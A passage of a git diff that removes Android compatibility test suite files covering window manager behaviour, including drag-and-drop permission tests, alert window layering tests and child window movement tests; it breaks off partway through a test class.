- @Override
- protected String processUri(Uri uri) {
- final String result1 = queryPrefixed(uri, "1");
- if (!result1.equals(RESULT_OK)) {
- return result1;
- }
- final String result2 = queryPrefixed(uri, "2");
- if (!result2.equals(RESULT_OK)) {
- return result2;
- }
- return queryPrefixed(uri, "3");
- }
-
- private String queryPrefixed(Uri uri, String selector) {
- final Uri prefixedUri = Uri.parse(uri.toString() + "/" + selector);
- return checkQueryResult(prefixedUri, selector);
- }
- }
-
- private class OnDragUriTakePersistableListener extends OnDragUriListener {
- OnDragUriTakePersistableListener() {
- super(true);
- }
-
- @Override
- protected String processUri(Uri uri) {
- getContentResolver().takePersistableUriPermission(
- uri, View.DRAG_FLAG_GLOBAL_URI_READ);
- getContentResolver().releasePersistableUriPermission(
- uri, View.DRAG_FLAG_GLOBAL_URI_READ);
- return RESULT_OK;
- }
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/Android.mk
deleted file mode 100644
index a33e1bc..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := 23
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsDragAndDropTargetAppSdk23
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/AndroidManifest.xml
deleted file mode 100644
index ea636a8..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/AndroidManifest.xml
+++ /dev/null
@@ -1,27 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.wm.cts.dndtargetappsdk23">
- <application android:label="CtsDnDTarget">
- <activity android:name="android.wm.cts.dndtargetappsdk23.DropTarget">
- <intent-filter>
- <action android:name="android.intent.action.MAIN"/>
- <category android:name="android.intent.category.LAUNCHER"/>
- </intent-filter>
- </activity>
- </application>
-</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/src/android/wm/cts/dndtargetappsdk23/DropTarget.java b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/src/android/wm/cts/dndtargetappsdk23/DropTarget.java
deleted file mode 100644
index 2cb7779..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/src/android/wm/cts/dndtargetappsdk23/DropTarget.java
+++ /dev/null
@@ -1,86 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.wm.cts.dndtargetappsdk23;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.util.Log;
-import android.view.DragEvent;
-import android.view.View;
-import android.widget.TextView;
-
-/**
- * This application is compiled against SDK 23 and used to verify that apps targeting SDK 23 and
- * below do not receive global drags.
- */
-public class DropTarget extends Activity {
- public static final String LOG_TAG = "DropTarget";
-
- private static final String RESULT_KEY_DRAG_STARTED = "DRAG_STARTED";
- private static final String RESULT_KEY_DROP_RESULT = "DROP";
-
- public static final String RESULT_OK = "OK";
-
- private TextView mTextView;
-
- @Override
- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- View view = getLayoutInflater().inflate(R.layout.target_activity, null);
- setContentView(view);
-
- mTextView = (TextView) findViewById(R.id.drag_target);
- mTextView.setOnDragListener(new OnDragListener());
- }
-
- private void logResult(String key, String value) {
- String result = key + "=" + value;
- Log.i(LOG_TAG, result);
- mTextView.setText(result);
- }
-
- private class OnDragListener implements View.OnDragListener {
- @Override
- public boolean onDrag(View v, DragEvent event) {
- switch (event.getAction()) {
- case DragEvent.ACTION_DRAG_STARTED:
- logResult(RESULT_KEY_DRAG_STARTED, RESULT_OK);
- return true;
-
- case DragEvent.ACTION_DRAG_ENTERED:
- return true;
-
- case DragEvent.ACTION_DRAG_LOCATION:
- return true;
-
- case DragEvent.ACTION_DRAG_EXITED:
- return true;
-
- case DragEvent.ACTION_DROP:
- logResult(RESULT_KEY_DROP_RESULT, RESULT_OK);
- return true;
-
- case DragEvent.ACTION_DRAG_ENDED:
- return true;
-
- default:
- return false;
- }
- }
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/AlertWindowsTests.java b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/AlertWindowsTests.java
deleted file mode 100644
index bfed6d5..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/AlertWindowsTests.java
+++ /dev/null
@@ -1,168 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.platform.test.annotations.Presubmit;
-import com.android.tradefed.device.DeviceNotAvailableException;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsWindowManagerHostTestCases android.server.cts.AlertWindowsTests
- */
-@Presubmit
-public class AlertWindowsTests extends ActivityManagerTestBase {
-
- private static final String PACKAGE_NAME = "android.server.alertwindowapp";
- private static final String ACTIVITY_NAME = "AlertWindowTestActivity";
- private static final String SDK_25_PACKAGE_NAME = "android.server.alertwindowappsdk25";
- private static final String SDK_25_ACTIVITY_NAME = "AlertWindowTestActivitySdk25";
-
- // From WindowManager.java
- private static final int TYPE_BASE_APPLICATION = 1;
- private static final int FIRST_SYSTEM_WINDOW = 2000;
-
- private static final int TYPE_PHONE = FIRST_SYSTEM_WINDOW + 2;
- private static final int TYPE_SYSTEM_ALERT = FIRST_SYSTEM_WINDOW + 3;
- private static final int TYPE_SYSTEM_OVERLAY = FIRST_SYSTEM_WINDOW + 6;
- private static final int TYPE_PRIORITY_PHONE = FIRST_SYSTEM_WINDOW + 7;
- private static final int TYPE_SYSTEM_ERROR = FIRST_SYSTEM_WINDOW + 10;
- private static final int TYPE_APPLICATION_OVERLAY = FIRST_SYSTEM_WINDOW + 38;
-
- private static final int TYPE_STATUS_BAR = FIRST_SYSTEM_WINDOW;
- private static final int TYPE_INPUT_METHOD = FIRST_SYSTEM_WINDOW + 11;
- private static final int TYPE_NAVIGATION_BAR = FIRST_SYSTEM_WINDOW + 19;
-
- private final List<Integer> mAlertWindowTypes = Arrays.asList(
- TYPE_PHONE,
- TYPE_PRIORITY_PHONE,
- TYPE_SYSTEM_ALERT,
- TYPE_SYSTEM_ERROR,
- TYPE_SYSTEM_OVERLAY,
- TYPE_APPLICATION_OVERLAY);
- private final List<Integer> mSystemWindowTypes = Arrays.asList(
- TYPE_STATUS_BAR,
- TYPE_INPUT_METHOD,
- TYPE_NAVIGATION_BAR);
-
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
- try {
- setAlertWindowPermission(PACKAGE_NAME, false);
- setAlertWindowPermission(SDK_25_PACKAGE_NAME, false);
- executeShellCommand("am force-stop " + PACKAGE_NAME);
- executeShellCommand("am force-stop " + SDK_25_PACKAGE_NAME);
- } catch (DeviceNotAvailableException e) {
- }
- }
-
- public void testAlertWindowAllowed() throws Exception {
- runAlertWindowTest(PACKAGE_NAME, ACTIVITY_NAME, true /* hasAlertWindowPermission */,
- true /* atLeastO */);
- }
-
- public void testAlertWindowDisallowed() throws Exception {
- runAlertWindowTest(PACKAGE_NAME, ACTIVITY_NAME, false /* hasAlertWindowPermission */,
- true /* atLeastO */);
- }
-
- public void testAlertWindowAllowedSdk25() throws Exception {
- runAlertWindowTest(SDK_25_PACKAGE_NAME, SDK_25_ACTIVITY_NAME,
- true /* hasAlertWindowPermission */, false /* atLeastO */);
- }
-
- public void testAlertWindowDisallowedSdk25() throws Exception {
- runAlertWindowTest(SDK_25_PACKAGE_NAME, SDK_25_ACTIVITY_NAME,
- false /* hasAlertWindowPermission */, false /* atLeastO */);
- }
-
- private void runAlertWindowTest(String packageName, String activityName,
- boolean hasAlertWindowPermission, boolean atLeastO) throws Exception {
- setComponentName(packageName);
- setAlertWindowPermission(packageName, hasAlertWindowPermission);
-
- executeShellCommand(getAmStartCmd(activityName));
- mAmWmState.computeState(mDevice, new String[] { activityName });
- mAmWmState.assertVisibility(activityName, true);
-
- assertAlertWindows(packageName, hasAlertWindowPermission, atLeastO);
- }
-
- private void assertAlertWindows(String packageName, boolean hasAlertWindowPermission,
- boolean atLeastO) {
- final WindowManagerState wMState = mAmWmState.getWmState();
-
- final ArrayList<WindowManagerState.WindowState> alertWindows = new ArrayList();
- wMState.getWindowsByPackageName(packageName, mAlertWindowTypes, alertWindows);
-
- if (!hasAlertWindowPermission) {
- assertTrue("Should be empty alertWindows=" + alertWindows, alertWindows.isEmpty());
- return;
- }
-
- if (atLeastO) {
- // Assert that only TYPE_APPLICATION_OVERLAY was created.
- for (WindowManagerState.WindowState win : alertWindows) {
- assertTrue("Can't create win=" + win + " on SDK O or greater",
- win.getType() == TYPE_APPLICATION_OVERLAY);
- }
- }
-
- final WindowManagerState.WindowState mainAppWindow =
- wMState.getWindowByPackageName(packageName, TYPE_BASE_APPLICATION);
-
- assertNotNull(mainAppWindow);
-
- wMState.sortWindowsByLayer(alertWindows);
- final WindowManagerState.WindowState lowestAlertWindow = alertWindows.get(0);
- final WindowManagerState.WindowState highestAlertWindow =
- alertWindows.get(alertWindows.size() - 1);
-
- // Assert that the alert windows have higher z-order than the main app window
- assertTrue("lowestAlertWindow=" + lowestAlertWindow + " less than mainAppWindow="
- + mainAppWindow, lowestAlertWindow.getLayer() > mainAppWindow.getLayer());
-
- // Assert that legacy alert windows have a lower z-order than the new alert window layer.
- final WindowManagerState.WindowState appOverlayWindow =
- wMState.getWindowByPackageName(packageName, TYPE_APPLICATION_OVERLAY);
- if (appOverlayWindow != null && highestAlertWindow != appOverlayWindow) {
- assertTrue("highestAlertWindow=" + highestAlertWindow
- + " greater than appOverlayWindow=" + appOverlayWindow,
- highestAlertWindow.getLayer() < appOverlayWindow.getLayer());
- }
-
- // Assert that alert windows are below key system windows.
- final ArrayList<WindowManagerState.WindowState> systemWindows = new ArrayList();
- wMState.getWindowsByPackageName(packageName, mSystemWindowTypes, systemWindows);
- if (!systemWindows.isEmpty()) {
- wMState.sortWindowsByLayer(systemWindows);
- final WindowManagerState.WindowState lowestSystemWindow = alertWindows.get(0);
- assertTrue("highestAlertWindow=" + highestAlertWindow
- + " greater than lowestSystemWindow=" + lowestSystemWindow,
- highestAlertWindow.getLayer() < lowestSystemWindow.getLayer());
- }
- }
-
- private void setAlertWindowPermission(String packageName, boolean allow) throws Exception {
- executeShellCommand("appops set " + packageName + " android:system_alert_window "
- + (allow ? "allow" : "deny"));
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/ChildMovementTests.java b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/ChildMovementTests.java
deleted file mode 100644
index 218fcfe..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/ChildMovementTests.java
+++ /dev/null
@@ -1,154 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import static android.server.cts.StateLogger.logE;
-
-import java.util.List;
-import java.util.ArrayList;
-import java.awt.Rectangle;
-
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.DeviceTestCase;
-
-import android.server.cts.ActivityManagerTestBase;
-import android.server.cts.WindowManagerState.WindowState;
-
-public class ChildMovementTests extends ParentChildTestBase {
- private List<WindowState> mWindowList = new ArrayList();
-
- @Override
- String intentKey() {
- return "android.server.FrameTestApp.ChildTestCase";
- }
-
- @Override
- String activityName() {
- return "MovingChildTestActivity";
- }
-
- WindowState getSingleWindow(String fullWindowName) {
- try {
- mAmWmState.getWmState().getMatchingVisibleWindowState(fullWindowName, mWindowList);
- return mWindowList.get(0);
- } catch (Exception e) {
- CLog.logAndDisplay(LogLevel.INFO, "Couldn't find window: " + fullWindowName);
- return null;
- }
- }
-
- WindowState getSingleWindowByPrefix(String prefix) {
- try {
- mAmWmState.getWmState().getPrefixMatchingVisibleWindowState(prefix, mWindowList);
- return mWindowList.get(0);
- } catch (Exception e) {
- CLog.logAndDisplay(LogLevel.INFO, "Couldn't find window: " + prefix);
- return null;
- }
- }
-
- void doSingleTest(ParentChildTest t) throws Exception {
- String popupName = "ChildWindow";
- final String[] waitForVisible = new String[] { popupName };
-
- mAmWmState.setUseActivityNamesForWindowNames(false);
- mAmWmState.computeState(mDevice, waitForVisible);
- WindowState popup = getSingleWindowByPrefix(popupName);
- WindowState parent = getSingleWindow(getBaseWindowName() + activityName());
-
- t.doTest(parent, popup);
- }
-
-
- Object monitor = new Object();
- boolean testPassed = false;
- String popupName = null;
- String mainName = null;
-
- SurfaceTraceReceiver.SurfaceObserver observer = new SurfaceTraceReceiver.SurfaceObserver() {
- int transactionCount = 0;
- boolean sawChildMove = false;
- boolean sawMainMove = false;
- int timesSeen = 0;
-
- @Override
- public void openTransaction() {
- transactionCount++;
- if (transactionCount == 1) {
- sawChildMove = false;
- sawMainMove = false;
- }
- }
-
- @Override
- public void closeTransaction() {
- transactionCount--;
- if (transactionCount != 0) {
- return;
- }
- synchronized (monitor) {
- if (sawChildMove ^ sawMainMove ) {
- monitor.notifyAll();
- return;
- }
- if (timesSeen > 10) {
- testPassed = true;
- monitor.notifyAll();
- }
- }
- }
-
- @Override
- public void setPosition(String windowName, float x, float y) {
- if (windowName.equals(popupName)) {
- sawChildMove = true;
- timesSeen++;
- } else if (windowName.equals(mainName)) {
- sawMainMove = true;
- }
- }
- };
-
- /**
- * Here we test that a Child moves in the same transaction
- * as its parent. We launch an activity with a Child which will
- * move around its own main window. Then we listen to WindowManager transactions.
- * Since the Child is static within the window, if we ever see one of
- * them move xor the other one we have a problem!
- */
- public void testSurfaceMovesWithParent() throws Exception {
- doFullscreenTest("MovesWithParent",
- (WindowState parent, WindowState popup) -> {
- popupName = popup.getName();
- mainName = parent.getName();
- installSurfaceObserver(observer);
- try {
- synchronized (monitor) {
- monitor.wait(5000);
- }
- } catch (InterruptedException e) {
- } finally {
- assertTrue(testPassed);
- removeSurfaceObserver();
- }
- });
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/CrossAppDragAndDropTests.java b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/CrossAppDragAndDropTests.java
deleted file mode 100644
index 17ede35..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/CrossAppDragAndDropTests.java
+++ /dev/null
@@ -1,547 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.DeviceTestCase;
-
-import java.util.HashMap;
-import java.util.Map;
-import java.util.regex.Pattern;
-
-public class CrossAppDragAndDropTests extends DeviceTestCase {
- // Constants copied from ActivityManager.StackId. If they are changed there, these must be
- // updated.
- /** ID of stack where fullscreen activities are normally launched into. */
- private static final int FULLSCREEN_WORKSPACE_STACK_ID = 1;
-
- /** ID of stack where freeform/resized activities are normally launched into. */
- private static final int FREEFORM_WORKSPACE_STACK_ID = FULLSCREEN_WORKSPACE_STACK_ID + 1;
-
- /** ID of stack that occupies a dedicated region of the screen. */
- private static final int DOCKED_STACK_ID = FREEFORM_WORKSPACE_STACK_ID + 1;
-
- /** ID of stack that always on top (always visible) when it exists. */
- private static final int PINNED_STACK_ID = DOCKED_STACK_ID + 1;
-
- private static final String AM_FORCE_STOP = "am force-stop ";
- private static final String AM_MOVE_TASK = "am stack move-task ";
- private static final String AM_RESIZE_TASK = "am task resize ";
- private static final String AM_REMOVE_STACK = "am stack remove ";
- private static final String AM_START_N = "am start -n ";
- private static final String AM_STACK_LIST = "am stack list";
- private static final String INPUT_MOUSE_SWIPE = "input mouse swipe ";
- private static final String TASK_ID_PREFIX = "taskId";
-
- // Regex pattern to match adb shell am stack list output of the form:
- // taskId=<TASK_ID>: <componentName> bounds=[LEFT,TOP][RIGHT,BOTTOM]
- private static final String TASK_REGEX_PATTERN_STRING =
- "taskId=[0-9]+: %s bounds=\\[[0-9]+,[0-9]+\\]\\[[0-9]+,[0-9]+\\]";
-
- private static final int SWIPE_DURATION_MS = 500;
-
- private static final String SOURCE_PACKAGE_NAME = "android.wm.cts.dndsourceapp";
- private static final String TARGET_PACKAGE_NAME = "android.wm.cts.dndtargetapp";
- private static final String TARGET_23_PACKAGE_NAME = "android.wm.cts.dndtargetappsdk23";
-
-
- private static final String SOURCE_ACTIVITY_NAME = "DragSource";
- private static final String TARGET_ACTIVITY_NAME = "DropTarget";
-
- private static final String FILE_GLOBAL = "file_global";
- private static final String FILE_LOCAL = "file_local";
- private static final String DISALLOW_GLOBAL = "disallow_global";
- private static final String CANCEL_SOON = "cancel_soon";
- private static final String GRANT_NONE = "grant_none";
- private static final String GRANT_READ = "grant_read";
- private static final String GRANT_WRITE = "grant_write";
- private static final String GRANT_READ_PREFIX = "grant_read_prefix";
- private static final String GRANT_READ_NOPREFIX = "grant_read_noprefix";
- private static final String GRANT_READ_PERSISTABLE = "grant_read_persistable";
-
- private static final String REQUEST_NONE = "request_none";
- private static final String REQUEST_READ = "request_read";
- private static final String REQUEST_READ_NESTED = "request_read_nested";
- private static final String REQUEST_TAKE_PERSISTABLE = "request_take_persistable";
- private static final String REQUEST_WRITE = "request_write";
-
- private static final String SOURCE_LOG_TAG = "DragSource";
- private static final String TARGET_LOG_TAG = "DropTarget";
-
- private static final String RESULT_KEY_START_DRAG = "START_DRAG";
- private static final String RESULT_KEY_DRAG_STARTED = "DRAG_STARTED";
- private static final String RESULT_KEY_DRAG_ENDED = "DRAG_ENDED";
- private static final String RESULT_KEY_EXTRAS = "EXTRAS";
- private static final String RESULT_KEY_DROP_RESULT = "DROP";
- private static final String RESULT_KEY_ACCESS_BEFORE = "BEFORE";
- private static final String RESULT_KEY_ACCESS_AFTER = "AFTER";
- private static final String RESULT_KEY_CLIP_DATA_ERROR = "CLIP_DATA_ERROR";
- private static final String RESULT_KEY_CLIP_DESCR_ERROR = "CLIP_DESCR_ERROR";
- private static final String RESULT_KEY_LOCAL_STATE_ERROR = "LOCAL_STATE_ERROR";
-
- private static final String RESULT_MISSING = "Missing";
- private static final String RESULT_OK = "OK";
- private static final String RESULT_EXCEPTION = "Exception";
- private static final String RESULT_NULL_DROP_PERMISSIONS = "Null DragAndDropPermissions";
-
- private static final String AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW =
- "am supports-split-screen-multi-window";
-
- private ITestDevice mDevice;
-
- private Map<String, String> mSourceResults;
- private Map<String, String> mTargetResults;
-
- private String mSourcePackageName;
- private String mTargetPackageName;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- mDevice = getDevice();
-
- if (!supportsDragAndDrop()) {
- return;
- }
-
- mSourcePackageName = SOURCE_PACKAGE_NAME;
- mTargetPackageName = TARGET_PACKAGE_NAME;
- cleanupState();
- }
-
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
-
- if (!supportsDragAndDrop()) {
- return;
- }
-
- mDevice.executeShellCommand(AM_FORCE_STOP + mSourcePackageName);
- mDevice.executeShellCommand(AM_FORCE_STOP + mTargetPackageName);
- }
-
- private String executeShellCommand(String command) throws DeviceNotAvailableException {
- return mDevice.executeShellCommand(command);
- }
-
- private void clearLogs() throws DeviceNotAvailableException {
- executeShellCommand("logcat -c");
- }
-
- private String getStartCommand(String componentName, String modeExtra) {
- return AM_START_N + componentName + " -e mode " + modeExtra;
- }
-
- private String getMoveTaskCommand(int taskId, int stackId) throws Exception {
- return AM_MOVE_TASK + taskId + " " + stackId + " true";
- }
-
- private String getResizeTaskCommand(int taskId, Point topLeft, Point bottomRight)
- throws Exception {
- return AM_RESIZE_TASK + taskId + " " + topLeft.x + " " + topLeft.y + " " + bottomRight.x
- + " " + bottomRight.y;
- }
-
- private String getComponentName(String packageName, String activityName) {
- return packageName + "/" + packageName + "." + activityName;
- }
-
- /**
- * Make sure that the special activity stacks are removed and the ActivityManager/WindowManager
- * is in a good state.
- */
- private void cleanupState() throws Exception {
- executeShellCommand(AM_FORCE_STOP + SOURCE_PACKAGE_NAME);
- executeShellCommand(AM_FORCE_STOP + TARGET_PACKAGE_NAME);
- executeShellCommand(AM_FORCE_STOP + TARGET_23_PACKAGE_NAME);
- unlockDevice();
-
- // Reinitialize the docked stack to force the window manager to reset its default bounds.
- // See b/29068935.
- clearLogs();
- final String componentName = getComponentName(mSourcePackageName, SOURCE_ACTIVITY_NAME);
- executeShellCommand(getStartCommand(componentName, null) + " --stack " +
- FULLSCREEN_WORKSPACE_STACK_ID);
- final int taskId = getActivityTaskId(componentName);
- // Moving a task from the full screen stack to the docked stack resets
- // WindowManagerService#mDockedStackCreateBounds.
- executeShellCommand(getMoveTaskCommand(taskId, DOCKED_STACK_ID));
- waitForResume(mSourcePackageName, SOURCE_ACTIVITY_NAME);
- executeShellCommand(AM_FORCE_STOP + SOURCE_PACKAGE_NAME);
-
- // Remove special stacks.
- executeShellCommand(AM_REMOVE_STACK + PINNED_STACK_ID);
- executeShellCommand(AM_REMOVE_STACK + DOCKED_STACK_ID);
- executeShellCommand(AM_REMOVE_STACK + FREEFORM_WORKSPACE_STACK_ID);
- }
-
- private void launchDockedActivity(String packageName, String activityName, String mode)
- throws Exception {
- clearLogs();
- final String componentName = getComponentName(packageName, activityName);
- executeShellCommand(getStartCommand(componentName, mode) + " --stack " + DOCKED_STACK_ID);
- waitForResume(packageName, activityName);
- }
-
- private void launchFullscreenActivity(String packageName, String activityName, String mode)
- throws Exception {
- clearLogs();
- final String componentName = getComponentName(packageName, activityName);
- executeShellCommand(getStartCommand(componentName, mode) + " --stack "
- + FULLSCREEN_WORKSPACE_STACK_ID);
- waitForResume(packageName, activityName);
- }
-
- /**
- * @param displaySize size of the display
- * @param leftSide {@code true} to launch the app taking up the left half of the display,
- * {@code false} to launch the app taking up the right half of the display.
- */
- private void launchFreeformActivity(String packageName, String activityName, String mode,
- Point displaySize, boolean leftSide) throws Exception{
- clearLogs();
- final String componentName = getComponentName(packageName, activityName);
- executeShellCommand(getStartCommand(componentName, mode) + " --stack "
- + FREEFORM_WORKSPACE_STACK_ID);
- waitForResume(packageName, activityName);
- Point topLeft = new Point(leftSide ? 0 : displaySize.x / 2, 0);
- Point bottomRight = new Point(leftSide ? displaySize.x / 2 : displaySize.x, displaySize.y);
- executeShellCommand(getResizeTaskCommand(getActivityTaskId(componentName), topLeft,
- bottomRight));
- }
-
- private void waitForResume(String packageName, String activityName) throws Exception {
- final String fullActivityName = packageName + "." + activityName;
- int retryCount = 3;
- do {
- Thread.sleep(500);
- String logs = executeShellCommand("logcat -d -b events");
- for (String line : logs.split("\\n")) {
- if(line.contains("am_on_resume_called") && line.contains(fullActivityName)) {
- return;
- }
- }
- } while (retryCount-- > 0);
-
- throw new Exception(fullActivityName + " has failed to start");
- }
-
- private void injectInput(Point from, Point to, int durationMs) throws Exception {
- executeShellCommand(
- INPUT_MOUSE_SWIPE + from.x + " " + from.y + " " + to.x + " " + to.y + " " +
- durationMs);
- }
-
- static class Point {
- public int x, y;
-
- public Point(int _x, int _y) {
- x=_x;
- y=_y;
- }
-
- public Point() {}
- }
-
- private String findTaskInfo(String name) throws Exception {
- CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
- mDevice.executeShellCommand(AM_STACK_LIST, outputReceiver);
- final String output = outputReceiver.getOutput();
- final StringBuilder builder = new StringBuilder();
- builder.append("Finding task info for task: ");
- builder.append(name);
- builder.append("\nParsing adb shell am output: " );
- builder.append(output);
- CLog.i(builder.toString());
- final Pattern pattern = Pattern.compile(String.format(TASK_REGEX_PATTERN_STRING, name));
- for (String line : output.split("\\n")) {
- final String truncatedLine;
- // Only look for the activity name before the "topActivity" string.
- final int pos = line.indexOf("topActivity");
- if (pos > 0) {
- truncatedLine = line.substring(0, pos);
- } else {
- truncatedLine = line;
- }
- if (pattern.matcher(truncatedLine).find()) {
- return truncatedLine;
- }
- }
- return "";
- }
-
- private boolean getWindowBounds(String name, Point from, Point to) throws Exception {
- final String taskInfo = findTaskInfo(name);
- final String[] sections = taskInfo.split("\\[");
- if (sections.length > 2) {
- try {
- parsePoint(sections[1], from);
- parsePoint(sections[2], to);
- return true;
- } catch (Exception e) {
- return false;
- }
- }
- return false;
- }
-
- private int getActivityTaskId(String name) throws Exception {
- final String taskInfo = findTaskInfo(name);
- for (String word : taskInfo.split("\\s+")) {
- if (word.startsWith(TASK_ID_PREFIX)) {
- final String withColon = word.split("=")[1];
- return Integer.parseInt(withColon.substring(0, withColon.length() - 1));
- }
- }
- return -1;
- }
-
- private Point getDisplaySize() throws Exception {
- final String output = executeShellCommand("wm size");
- final String[] sizes = output.split(" ")[2].split("x");
- return new Point(Integer.valueOf(sizes[0].trim()), Integer.valueOf(sizes[1].trim()));
- }
-
- private Point getWindowCenter(String name) throws Exception {
- Point p1 = new Point();
- Point p2 = new Point();
- if (getWindowBounds(name, p1, p2)) {
- return new Point((p1.x + p2.x) / 2, (p1.y + p2.y) / 2);
- }
- return null;
- }
-
- private void parsePoint(String string, Point point) {
- final String[] parts = string.split("[,|\\]]");
- point.x = Integer.parseInt(parts[0]);
- point.y = Integer.parseInt(parts[1]);
- }
-
- private void unlockDevice() throws DeviceNotAvailableException {
- // Wake up the device, if necessary.
- executeShellCommand("input keyevent 224");
- // Unlock the screen.
- executeShellCommand("input keyevent 82");
- }
-
- private Map<String, String> getLogResults(String className, String lastResultKey)
- throws Exception {
- int retryCount = 10;
- Map<String, String> output = new HashMap<String, String>();
- do {
-
- String logs = executeShellCommand("logcat -v brief -d " + className + ":I" + " *:S");
- for (String line : logs.split("\\n")) {
- if (line.startsWith("I/" + className)) {
- String payload = line.split(":")[1].trim();
- final String[] split = payload.split("=");
- if (split.length > 1) {
- output.put(split[0], split[1]);
- }
- }
- }
- if (output.containsKey(lastResultKey)) {
- return output;
- }
- } while (retryCount-- > 0);
- return output;
- }
-
- private void assertDropResult(String sourceMode, String targetMode, String expectedDropResult)
- throws Exception {
- assertDragAndDropResults(sourceMode, targetMode, RESULT_OK, expectedDropResult, RESULT_OK);
- }
-
